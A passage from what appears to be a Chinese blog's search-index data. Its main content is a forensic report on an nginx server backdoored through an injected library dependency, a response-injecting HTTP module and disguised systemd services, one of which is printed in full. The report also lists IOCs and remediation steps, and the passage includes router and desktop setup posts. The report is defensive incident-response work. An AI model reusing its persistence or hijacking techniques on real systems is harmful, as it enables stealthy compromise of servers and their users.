的提示和帮助下，开始排查是否这个请求真的命中了 nginx server block: 在 server block 上添加一个自定义的 header 检查是否能拿到 header server {\n    # ...\n    add_header X-Probe 'probe';\n} 发现确实有这个 header, 说明确实命中了 nginx 的这个 server block，但是返回的并不是预期的处理，此时 GPT 怀疑 Nginx 本身已经被替换掉了。",{"id":2530,"title":282,"titles":2531,"content":285,"level":66},"\u002Fblog\u002Flog-an-nginx-replacement-attack#取证",[5],{"id":2533,"title":288,"titles":2534,"content":2535,"level":66},"\u002Fblog\u002Flog-an-nginx-replacement-attack#处理",[5],"将证据材料下载后，丢给 AI 进行分析立即重装此服务器重装后立即关掉 root 账号的 ssh 密码登录由于不知道泄露了多少密钥，立即轮换所有密钥",{"id":2537,"title":307,"titles":2538,"content":313,"level":66},"\u002Fblog\u002Flog-an-nginx-replacement-attack#分析",[5],{"id":2540,"title":317,"titles":2541,"content":2542,"level":66},"\u002Fblog\u002Flog-an-nginx-replacement-attack#nginx-入侵事件总结报告",[5],"报告日期: 2026-05-09分析对象: nginx-incident-2026-05-08-110637.tgz证据包 SHA-256: 97aa3c24f4aa21243d4b7d0809e5f9885b6aeb471aa938c2bc20edbc09a53677结论级别: 高置信度事件等级: Critical",{"id":2544,"title":350,"titles":2545,"content":2546,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#结论",[5,317],"本次事件不是单纯的 nginx 配置异常，而是一次明确的二进制级后门化植入。攻击者已经获得目标运行环境的写权限，并将运行中的 nginx 替换为带恶意依赖的 ELF 可执行文件，再通过恶意 HTTP 模块接管响应过滤链，实现基于规则的内容注入与本地控制。 现有证据同时显示宿主机侧存在伪装的 systemd 服务持久化痕迹，因此影响面很可能已经超过单个 nginx 容器。当前更合理的定性是“宿主机与容器均应按已沦陷处理”。",{"id":2548,"title":372,"titles":2549,"content":2550,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#证据范围",[5,317],"本报告基于离线取证包中的以下证据： nginx-incident\u002Fhashes.txtnginx-incident\u002Fnginx.tamperednginx-incident\u002Fsysutil_http.songinx-incident\u002Fprocesses.txtnginx-incident\u002Ffds.txtnginx-incident\u002F1114748.environ.txtnginx-incident\u002F1114801.environ.txtnginx-incident\u002Fetc-nginx-copy\u002Fnginx-incident\u002Fnginx-logs\u002Fetc\u002Fsystemd\u002Fsystem\u002Froot\u002F.ssh\u002Fauthorized_keys 本次分析全程为只读静态检查，未执行取证包内任何二进制或脚本。",{"id":2552,"title":438,"titles":2553,"content":44,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#关键发现",[5,317],{"id":2555,"title":2556,"titles":2557,"content":2558,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#_1-nginx-已被二进制级篡改","1. nginx 已被二进制级篡改",[5,317,438],"证据文件 nginx-incident\u002Fhashes.txt 记录了现场运行文件： \u002Fusr\u002Fsbin\u002Fnginx\u002Fusr\u002Flib\u002F.cache\u002Fsysutil_http.so 对应哈希如下： 1daf07db2f05f759acd4052ec2bbd2b6dbf70d3a1d4d8f7d33fce4ef4dc01090  \u002Fusr\u002Fsbin\u002Fnginx10a510bf98eea8e597edee84016b1a375c4c2bc08428fa9e8202cecaca3be02a  \u002Fusr\u002Flib\u002F.cache\u002Fsysutil_http.so 对 nginx.tampered 的 ELF 动态依赖检查显示，它除了正常依赖外，还额外声明了异常库： libnss_cache.so.2 这不是正常 Debian nginx 1.22.1 的依赖形态，说明攻击者很可能通过修改 ELF DT_NEEDED 项，把恶意逻辑挂入 nginx 启动流程。",{"id":2560,"title":511,"titles":2561,"content":2562,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#_2-恶意模块具备-http-流量劫持与注入能力",[5,317,438],"sysutil_http.so 是未 strip 的 Linux shared object，导出符号与可读字符串直接暴露了模块能力。关键符号包括： ngx_http_oam_modulengx_http_oam_header_filterngx_http_oam_body_filtersocket_server_threadhandle_socket_commandoam_register_filters 关键字符串包括： STATUSADD:DEL:LISTCLEAR\u002Fvar\u002Frun\u002Fsysutil\u002Fsysproc.sock\u002Fvar\u002Frun\u002Fsysutil\u002Fsocket.locktext\u002Fhtml; charset=utf-8\u003Chead>\u003Cbody>\u003C\u002Fbody>atob(' 这说明该模块会： 接管 nginx 的 header\u002Fbody filter 链在本地创建控制 socket接收 STATUS\u002FADD\u002FDEL\u002FLIST\u002FCLEAR 命令动态管理规则针对 HTML 响应执行内容注入 从能力模型看，这更接近“可热更新规则的恶意 server-side 注入组件”，典型用途包括： 注入恶意 JavaScript注入钓鱼页面片段劫持会话或窃取 token\u002Fcookie按请求特征定向投放恶意内容",{"id":2564,"title":2565,"titles":2566,"content":2567,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#_3-正常-nginx-配置基本未改恶意逻辑不在配置层","3. 正常 nginx 配置基本未改，恶意逻辑不在配置层",[5,317,438],"取证包中的 etc-nginx-copy\u002Fnginx.conf 未见显式恶意 load_module 指令，核心结构仍是正常站点配置： include \u002Fetc\u002Fnginx\u002Fmodules-enabled\u002F*.conf;include \u002Fetc\u002Fnginx\u002Fconf.d\u002F*.conf;include \u002Fetc\u002Fnginx\u002Fsites-enabled\u002F*; 这说明攻击者没有依赖传统的配置注入方式加载模块，恶意代码更可能通过二进制依赖劫持自动装载。",{"id":2569,"title":692,"titles":2570,"content":2571,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#_4-当前运行实例位于容器内",[5,317,438],"processes.txt 显示： containerd-shim-runc-v2 为父进程nginx: master process nginx -g daemon off; 为子进程 这说明当前被植入的 nginx 运行在容器环境中，而不是直接由宿主机 systemd 启动。容器内被替换的可能位置包括： 容器可写层被污染的镜像层启动后被远程写入的运行时文件系统",{"id":2573,"title":736,"titles":2574,"content":2575,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#_5-运行身份出现异常",[5,317,438],"配置文件中声明 user www-data;，但现场 worker 进程显示为： sshd     1114801 ... nginx: worker process 这个现象不符合正常 nginx worker 用户模型，说明运行时环境已经发生异常偏移，可能涉及： 容器 namespace \u002F UID 映射异常运行进程上下文被篡改取证时刻的宿主映射状态异常 这进一步支持“当前环境已被深入操控”的判断。",{"id":2577,"title":2578,"titles":2579,"content":2580,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#_6-宿主机侧存在可疑-systemd-持久化","6. 宿主机侧存在可疑 systemd 持久化",[5,317,438],"etc\u002Fsystemd\u002Fsystem\u002F 中出现两个高风险对象：",{"id":2582,"title":2583,"titles":2584,"content":2585,"level":205},"\u002Fblog\u002Flog-an-nginx-replacement-attack#可疑服务-1-qemu-fpmservice","可疑服务 1: qemu-fpm.service",[5,317,438,2578],"服务内容： [Unit]\nDescription=QEMU FPM Service\nAfter=network.target\n\n[Service]\nType=forking\nExecStart=\u002Fusr\u002Fbin\u002Fqemu-system-fpm\nRestart=always\nRestartSec=5\nStandardOutput=null\nStandardError=null\n\n[Install]\nWantedBy=multi-user.target 风险点： 名称伪装成正常系统组件二进制名 qemu-system-fpm 极不自然自启动常驻重启输出静默",{"id":2587,"title":2588,"titles":2589,"content":2590,"level":205},"\u002Fblog\u002Flog-an-nginx-replacement-attack#可疑服务-2-610-28-cloud-amd64-loadservice","可疑服务 2: 6.1.0-28-cloud-amd64-load.service",[5,317,438,2578],"该对象以启用链接形式存在于： etc\u002Fsystemd\u002Fsystem\u002Fmulti-user.target.wants\u002F6.1.0-28-cloud-amd64-load.service 它的命名方式伪装成内核版本\u002F驱动加载组件，具有明显隐蔽性。取证包中未包含其最终目标文件内容，因此当前只能确认“已启用链接存在”，仍需在原宿主机磁盘镜像中继续追踪其真实服务文件。",{"id":2592,"title":2593,"titles":2594,"content":934,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#_7-初始入口尚未被精确锁定但-ai-上游与开放同步服务是重点排查面","7. 初始入口尚未被精确锁定，但 ai 上游与开放同步服务是重点排查面",[5,317,438],{"id":2596,"title":2597,"titles":2598,"content":2599,"level":205},"\u002Fblog\u002Flog-an-nginx-replacement-attack#暴露面-1-aif1nleyxyz-1270018000","暴露面 1: ai.f1nley.xyz -> 127.0.0.1:8000",[5,317,438,2593],"配置显示： server_name ai.f1nley.xyz;proxy_pass http:\u002F\u002F127.0.0.1:8000; 错误日志中大量请求通过随机子域名命中该 upstream，路径形态明显偏攻击探测，例如： \u002FPublic\u002F...\u002Fapi\u002F...\u002FTemplate\u002F...\u002Fmms-api\u002F...\u002Fprod-api\u002F... 这类流量更像针对某类现成应用框架或后台系统的自动化探测。",{"id":2601,"title":2602,"titles":2603,"content":2604,"level":205},"\u002Fblog\u002Flog-an-nginx-replacement-attack#暴露面-2-syncnotes-webdav同步服务","暴露面 2: \u002Fsync\u002Fnotes\u002F WebDAV\u002F同步服务",[5,317,438,2593],"访问日志显示 \u002Fsync\u002Fnotes\u002F 长期暴露，并且有稳定认证主体 root 出现在日志中。虽然这些流量很像合法同步客户端，但这说明： 该服务长期对外可达使用高权限身份进行同步一旦认证泄露或上游实现存在漏洞，风险会显著放大 现有证据不足以将其直接定为入口，但必须纳入复盘范围。",{"id":2606,"title":1024,"titles":2607,"content":2608,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#攻击链重建",[5,317],"基于当前证据，可重建出如下高概率攻击路径： 攻击者首先获得容器或宿主机的文件写权限攻击者将恶意模块投放到 \u002Fusr\u002Flib\u002F.cache\u002Fsysutil_http.so攻击者修改 nginx ELF 依赖，使其在启动时自动装载异常库恶意模块在 nginx 初始化过程中接管 HTTP filter模块在本地创建 \u002Fvar\u002Frun\u002Fsysutil\u002Fsysproc.sock，作为控制面攻击者可通过本地 socket 动态下发匹配规则和注入内容宿主机侧通过伪装 systemd 服务维持持久化，确保重启后仍可恢复控制",{"id":2610,"title":1067,"titles":2611,"content":2612,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#时间线",[5,317],"以下时间基于取证包内文件时间和日志时间，属于“当前证据可见时间线”： 2025-10-16 07:10:02 +0800etc\u002Fsystemd\u002Fsystem\u002Fqemu-fpm.service 出现2026-01-04 01:25:44 +08006.1.0-28-cloud-amd64-load.service 启用链接存在2026-01-04 04:49:15 +0800sysutil_http.so 文件时间2026-05-05被篡改的 nginx 进程已经在容器中运行2026-05-08 23:07:24 +0800取证包生成 说明： nginx.tampered 自身时间较老，更像被故意伪造或保留原始包时间，不能单独作为植入时间依据sysutil_http.so 与可疑 systemd 启用时间更值得参考",{"id":2614,"title":1154,"titles":2615,"content":2616,"level":66},"\u002Fblog\u002Flog-an-nginx-replacement-attack#attck-技术映射",[5],"战术技术说明PersistenceT1543.002 Create or Modify System Process: Systemd Service伪装 systemd 服务维持启动Persistence \u002F Privilege EscalationT1574.006 Hijack Execution Flow: Dynamic Linker Hijacking篡改 nginx 依赖链Persistence \u002F ExecutionT1505 Server Software Component恶意 nginx HTTP 模块Defense EvasionT1036 Masqueradingqemu-fpm.service、6.1.0-28-cloud-amd64-load.service 伪装命名Command and ControlT1095 Non-Application Layer Protocol \u002F Local IPC 近似本地 Unix socket 控制面Impact \u002F Collection自定义 Web 注入能力基于规则修改响应内容",{"id":2618,"title":1276,"titles":2619,"content":44,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#ioc-清单",[5,1154],{"id":2621,"title":1279,"titles":2622,"content":2623,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#文件与路径",[5,1154,1276],"\u002Fusr\u002Fsbin\u002Fnginx\u002Fusr\u002Flib\u002F.cache\u002Fsysutil_http.so\u002Fvar\u002Frun\u002Fsysutil\u002F\u002Fvar\u002Frun\u002Fsysutil\u002Fsocket.lock\u002Fvar\u002Frun\u002Fsysutil\u002Fsysproc.sock\u002Fetc\u002Fsystemd\u002Fsystem\u002Fqemu-fpm.service\u002Fetc\u002Fsystemd\u002Fsystem\u002Fmulti-user.target.wants\u002F6.1.0-28-cloud-amd64-load.service",{"id":2625,"title":1315,"titles":2626,"content":2627,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#哈希",[5,1154,1276],"1daf07db2f05f759acd4052ec2bbd2b6dbf70d3a1d4d8f7d33fce4ef4dc01090 (\u002Fusr\u002Fsbin\u002Fnginx)10a510bf98eea8e597edee84016b1a375c4c2bc08428fa9e8202cecaca3be02a (\u002Fusr\u002Flib\u002F.cache\u002Fsysutil_http.so)",{"id":2629,"title":1335,"titles":2630,"content":2631,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#符号与字符串",[5,1154,1276],"ngx_http_oam_modulengx_http_oam_header_filterngx_http_oam_body_filteroam_register_filtersSTATUSADD:DEL:LISTCLEARlibnss_cache.so.2",{"id":2633,"title":1380,"titles":2634,"content":2635,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#可疑服务名",[5,1154,1276],"qemu-fpm.service6.1.0-28-cloud-amd64-load.service",{"id":2637,"title":1393,"titles":2638,"content":2639,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#影响评估",[5,1154],"当前证据支持以下影响判断： nginx 已失去可信性，不能再作为可信边界组件使用任意经过该实例的 HTML 响应都可能被动态注入受影响业务可能包括主站流量、反代业务和下游应用会话宿主机存在额外持久化，说明单纯替换容器并不能保证清除风险 因此本事件应按“主机级 compromise”响应，而不是“单容器异常”响应。",{"id":2641,"title":1418,"titles":2642,"content":2643,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#当前不确定项",[5,1154],"以下问题在本取证包内无法完全回答： 初始入口是宿主机、容器镜像、上游应用还是外部管理面6.1.0-28-cloud-amd64-load.service 的真实内容libnss_cache.so.2 在现场的实际落点恶意模块已下发过哪些规则是否已经对外注入过恶意脚本或跳转内容是否存在额外未被打包进证据包的反连、下载器或横向移动痕迹 原因是取证包中的以下系统级日志为空： var\u002Flog\u002Fauth.logvar\u002Flog\u002Fsyslogvar\u002Flog\u002Fdpkg.logvar\u002Flog\u002Fapt\u002Fhistory.log 这会阻断对初始入侵、提权、持久化创建命令和包管理伪装的还原。",{"id":2645,"title":1476,"titles":2646,"content":44,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#处置建议",[5,1154],{"id":2648,"title":1479,"titles":2649,"content":2650,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#立即动作",[5,1154,1476],"将宿主机与相关容器全部从网络隔离保留当前宿主机磁盘快照、容器镜像、可写层和内存证据停止把该实例继续作为生产入口使用轮换所有经过该主机的凭据与密钥",{"id":2652,"title":1496,"titles":2653,"content":2654,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#重建原则",[5,1154,1476],"从可信源重建宿主机，不做就地“清理后继续用”从可信 Dockerfile \u002F 镜像仓库重新构建容器镜像对镜像仓库、CI\u002FCD、部署机一并做 IOC 搜索对下游上游应用逐一排查是否存在同类植入",{"id":2656,"title":1513,"titles":2657,"content":2658,"level":190},"\u002Fblog\u002Flog-an-nginx-replacement-attack#重点排查对象",[5,1154,1476],"127.0.0.1:8000 对应应用及其代码仓库容器镜像构建链、发布机和 registry宿主机 \u002Flib\u002Fsystemd\u002Fsystem\u002F6.1.0-28-cloud-amd64-load.service宿主机 \u002Fusr\u002Fbin\u002Fqemu-system-fpm任何名为 libnss_cache.so.2 的文件实际落点所有以 sysutil、oam、qemu-fpm 命名的文件与进程",{"id":2660,"title":1557,"titles":2661,"content":2662,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#建议的后续取证补充",[5,1154],"为了把入口和影响面完全钉实，建议补采以下证据： 宿主机完整 \u002Flib\u002Fsystemd\u002Fsystem\u002F 与 \u002Fusr\u002Flib\u002Fsystemd\u002Fsystem\u002F宿主机 \u002Fusr\u002Fbin\u002Fqemu-system-fpm宿主机或容器内 libnss_cache.so.2宿主机 journalctl 导出Docker\u002Fcontainerd 容器元数据与镜像历史容器文件系统 diff127.0.0.1:8000 上游应用代码与运行日志反向代理前后的访问日志与 WAF\u002FCDN 日志",{"id":2664,"title":1605,"titles":2665,"content":2666,"level":78},"\u002Fblog\u002Flog-an-nginx-replacement-attack#附录可直接引用的核心证据",[5,1154],"nginx-incident\u002Fhashes.txt证明现场运行的 nginx 与 sysutil_http.so 样本路径和哈希nginx-incident\u002Fprocesses.txt证明 nginx 由 containerd-shim-runc-v2 拉起，运行于容器环境nginx-incident\u002Fetc-nginx-copy\u002Fnginx.conf证明正常配置层未显式加载恶意模块nginx-incident\u002Fetc-nginx-copy\u002Fconf.d\u002Fai.conf证明 ai.f1nley.xyz 反代到 127.0.0.1:8000etc\u002Fsystemd\u002Fsystem\u002Fqemu-fpm.service证明宿主机存在高风险伪装服务etc\u002Fsystemd\u002Fsystem\u002Fmulti-user.target.wants\u002F6.1.0-28-cloud-amd64-load.service证明宿主机存在高风险伪装自启动链接 html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sBAe2, html code.shiki .sBAe2{--shiki-default:#8839EF;--shiki-dark:#C6A0F6;--shiki-light:#8839EF}html pre.shiki code .sPKdQ, html code.shiki .sPKdQ{--shiki-default:#DF8E1D;--shiki-dark:#EED49F;--shiki-light:#DF8E1D}html pre.shiki code .sp4-F, html code.shiki .sp4-F{--shiki-default:#179299;--shiki-dark:#8BD5CA;--shiki-light:#179299}html pre.shiki code .soSG-, html code.shiki .soSG-{--shiki-default:#1E66F5;--shiki-dark:#8AADF4;--shiki-light:#1E66F5}html pre.shiki code .sKbfg, html code.shiki .sKbfg{--shiki-default:#4C4F69;--shiki-dark:#CAD3F5;--shiki-light:#4C4F69}html pre.shiki code .sPaNA, html code.shiki .sPaNA{--shiki-default:#7C7F93;--shiki-dark:#939AB7;--shiki-light:#7C7F93}html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}",{"id":2668,"title":2669,"titles":2670,"content":2671,"level":52},"\u002Fblog\u002Fn1-armbian-docker-openwrt-bypass-route","n1 盒子安装 docker，docker 中安装 openwrt，openwrt 配置旁路由",[],"去年搞了一台 n1 盒子，寒假期间从海鲜市场淘来了一台中兴的千兆路由器 （型号是 E503），准备让 N1 盒子做旁路网关，实现软路由（主要目的是实现透明的魔法）",{"id":2673,"title":2669,"titles":2674,"content":2675,"level":52},"\u002Fblog\u002Fn1-armbian-docker-openwrt-bypass-route#n1-盒子安装-dockerdocker-中安装-openwrtopenwrt-配置旁路由",[],"去年搞了一台 n1 盒子，寒假期间从海鲜市场淘来了一台中兴的千兆路由器 （型号是 E503），准备让 N1 盒子做旁路网关，实现软路由（主要目的是实现透明的魔法） 现在我的（宿舍）网络拓扑图如下： [百兆宽带] -- [E503路由器]（主路由 192.168.123.1 ）--wlan-- 无线终端设备（手机等）\n                    |\n                    ├-- (lan1) -- 电脑 (192.168.123.123)\n                    ├-- (lan2) -- N1 盒子\n                                    |--- 192.168.123.250 Armbian\n                                    ├--- 192.168.123.251 openwrt 旁路由 旁路网关就是把内网中的终端设备的网关设置为旁路由的网关(192.168.123.251)，而旁路由的网关设置为主路由网关（192.168.123.1），如是，则内网中的所有流量都将经过旁路由的转发，再到主路由。 除了手动设置网关外，可以通过 DHCP 自动设置网关。",{"id":2677,"title":2678,"titles":2679,"content":2680,"level":66},"\u002Fblog\u002Fn1-armbian-docker-openwrt-bypass-route#n1-刷入-armbian","n1 刷入 Armbian",[2669],"由于我购入的 n1 已经刷入过 openwrt，直接插入烧录好的 U 盘即可从 U 盘启动\n我使用的 Armbian 固件是：Armbian_24.2.0_amlogic_s905d_bullseye_6.6.15_server_2024.02.01.img.gz\n可以从\nReleases · ophub\u002Famlogic-s9xxx-armbian · GitHub\n获取 如何选择版本? 参考:\nDebianReleases - Debian Wiki 我选择的是 Bullseye，较老的版本。我希望尽量使用 docker 管理我 n1 盒子上的各种应用，因此 debian 的版本并不重要。 下载后解压得到镜像文件 .img gzip -d file.img.gz （如你所见，我是在 Linux 环境下进行操作的） Linux 下推荐的烧录工具是 Etcher paru -S etcher-bin 烧录后，插入 n1 盒子 （据称推荐插入靠近网口的那个 usb 口），启动后进入 U 盘内的 armbian 系统。 默认的 root 密码是1234 输入 nand–sata-install 烧录 Armbian 到 eMMC",{"id":2682,"title":2683,"titles":2684,"content":2685,"level":66},"\u002Fblog\u002Fn1-armbian-docker-openwrt-bypass-route#docker-安装","docker 安装",[2669],"先换源 vi \u002Fetc\u002Fapt\u002Fsource.list\napt update 使用armbian-config配置固定的网络地址 vi \u002Fetc\u002Fnetwork\u002Finterface.d\u002Fstatic 这将在新建一个文件叫 static\n输入如下内容，注意根据你的具体情况设置。 auto eth0\nallow-hotplug eth0\niface eth0 inet static\naddress 192.168.123.250\nnetmask 255.255.255.0\ngateway 192.168.123.1\ndns-nameservers 192.168.123.1 address 是 armbian 的地址（自定义）gateway 写主路由的 ip 地址dns-nameservers 可以写主路由的 ip，也可以写 dns 服务器 使用 armbian-install 安装 docker",{"id":2687,"title":2688,"titles":2689,"content":2690,"level":66},"\u002Fblog\u002Fn1-armbian-docker-openwrt-bypass-route#使用-docker-安装-openwrt","使用 docker 安装 openwrt",[2669],"开启网卡的混杂模式（即接收内网中所有数据包，无论其目的地是否是本地） ip link set eth0 promisc on 将这句命令加入 vi \u002Fetc\u002Frc.local 首先使用 macvlan 创建给 openwrt 用的 network docker network create -d macvlan \\\n--subnet=192.168.123.0\u002F24 --gateway=192.168.123.1 -o parent=eth0 macnet 开 openwrt 容器 docker run --restart always -d --name openwrt --network macnet --privileged unifreq\u002Fopenwrt-aarch64 进去修改 root 密码 docker exec -it openwrt bash\npasswd 修改 ip 地址 vi \u002Fetc\u002Fconfig\u002Fnetwork 在 interface 'lan' 里面改 option proto 'static'\noption ipaddr '192.168.123.251'\noption gateway '192.168.123.1' 此时可以在内网的终端设备上通过 192.168.123.251 访问 luci 界面进行配置。",{"id":2692,"title":2693,"titles":2694,"content":44,"level":66},"\u002Fblog\u002Fn1-armbian-docker-openwrt-bypass-route#配置旁路网关","配置旁路网关",[2669],{"id":2696,"title":2697,"titles":2698,"content":2699,"level":78},"\u002Fblog\u002Fn1-armbian-docker-openwrt-bypass-route#openwrt-中","openwrt 中",[2669,2693],"网络-接口-lan 设置：\n基本设置： 协议：静态ipv4: 192.168.123.251网关: 192.168.123.1自定义 DNS: 114.114.114.114, 223.5.5.5\n高级设置：勾选强制链路\n物理设置：取消桥接接口接口选择 eth0 在下面的 DHCP 高级设置中勾选动态 DHCP 和 强制 DHCP 选项输入: 3,192.168.123.251 (路由器)6,192.168.123.251 (DNS 服务器)",{"id":2701,"title":2702,"titles":2703,"content":2704,"level":78},"\u002Fblog\u002Fn1-armbian-docker-openwrt-bypass-route#主路由中","主路由中",[2669,2693],"关闭 DHCP",{"id":2706,"title":2707,"titles":2708,"content":2709,"level":66},"\u002Fblog\u002Fn1-armbian-docker-openwrt-bypass-route#设置-openwrt-插件","设置 openwrt 插件",[2669],"由于众所周知的原因此处略去，需要提示的一点是不一定要开启 旁路网关兼容，需要试一试。",{"id":2711,"title":2402,"titles":2712,"content":2713,"level":66},"\u002Fblog\u002Fn1-armbian-docker-openwrt-bypass-route#参考",[2669],"DebianReleases - Debian Wikiamlogic-s9xxx-armbian\u002FREADME.cn.md at main · ophub\u002Famlogic-s9xxx-armbian · GitHub2022-7-29 Docker Openwrt r22.07.07-斐讯无线路由器以及其它斐迅网络设备-恩山无线论坛2024-1-27 87 版 KVM,Rock5b,N1,S905x3,S922x,贝壳\u002F我家云,vplus,R66S\u002F68S 等-OPENWRT 专版-恩山无线论坛DHCP 选项编号 html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}html pre.shiki code .sTfLU, html code.shiki .sTfLU{--shiki-default:#EA76CB;--shiki-dark:#F5BDE6;--shiki-light:#EA76CB}html pre.shiki code .sKbfg, html code.shiki .sKbfg{--shiki-default:#4C4F69;--shiki-dark:#CAD3F5;--shiki-light:#4C4F69}",{"id":2715,"title":2716,"titles":2717,"content":2718,"level":52},"\u002Fblog\u002Fniri","Niri，一个可滚动平铺的 Wayland 组合器。",[],"最近发现了这个新的 Wayland compositor，叫 Niri.",{"id":2720,"title":2716,"titles":2721,"content":2722,"level":52},"\u002Fblog\u002Fniri#niri一个可滚动平铺的-wayland-组合器",[],"最近发现了这个新的 Wayland compositor，叫 Niri. 有三个奇怪的概念：Wayland compositor, Desktop Environment, Window Manager.Desktop Environment 也就是桌面环境，是一个集成化的环境，可以是基于 x11 的，也可以是基于 Wayland 的。比如 Gnome, Kde plasmaWindow Manager 就是窗口管理器，它可以是 DE 的一部分，是 X11 的概念。例如 i3, kwinWayland compositor 是 wayland 的概念。它可以混成多个 wayland client。例如 sway, i3-wm, 以及这个 niri",{"id":2724,"title":2725,"titles":2726,"content":2727,"level":66},"\u002Fblog\u002Fniri#niri-吸引我的理由","Niri 吸引我的理由",[2716],"滚动平铺：水平方向平铺，无限长, 添加窗口并不会导致窗口的大小改变。输入方式：鼠标，键盘，触摸板的支持很完整。配置简单，只需要一个 config.kdl 文件",{"id":2729,"title":2730,"titles":2731,"content":2732,"level":66},"\u002Fblog\u002Fniri#xwayland-应用的问题","Xwayland 应用的问题",[2716],"https:\u002F\u002Fgithub.com\u002FYaLTeR\u002Fniri\u002Fwiki\u002FXwayland 用 xwayland-satellite 几乎可以解决所有问题。但是它还是一个很新的项目: 启动 xwayland-satellite使用 env DISPLAY=:0 来启动 xwayland 应用。 但是我在启动 wechat-universal 的时候它就崩溃了。 因此我用 cage 去启动 wechat-universal。 cage -- wechat-universal 同时使用 clipboard-sync 同步剪贴板。",{"id":2734,"title":2735,"titles":2736,"content":2737,"level":66},"\u002Fblog\u002Fniri#其他配合应用","其他配合应用",[2716],"mako 通知waybar 状态栏fuzzel 搜索 html pre.shiki code .sgCEr, html code.shiki .sgCEr{--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#8AADF4;--shiki-dark-font-style:italic;--shiki-light:#1E66F5;--shiki-light-font-style:italic}html pre.shiki code .s6V-t, html code.shiki .s6V-t{--shiki-default:#40A02B;--shiki-dark:#A6DA95;--shiki-light:#40A02B}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span 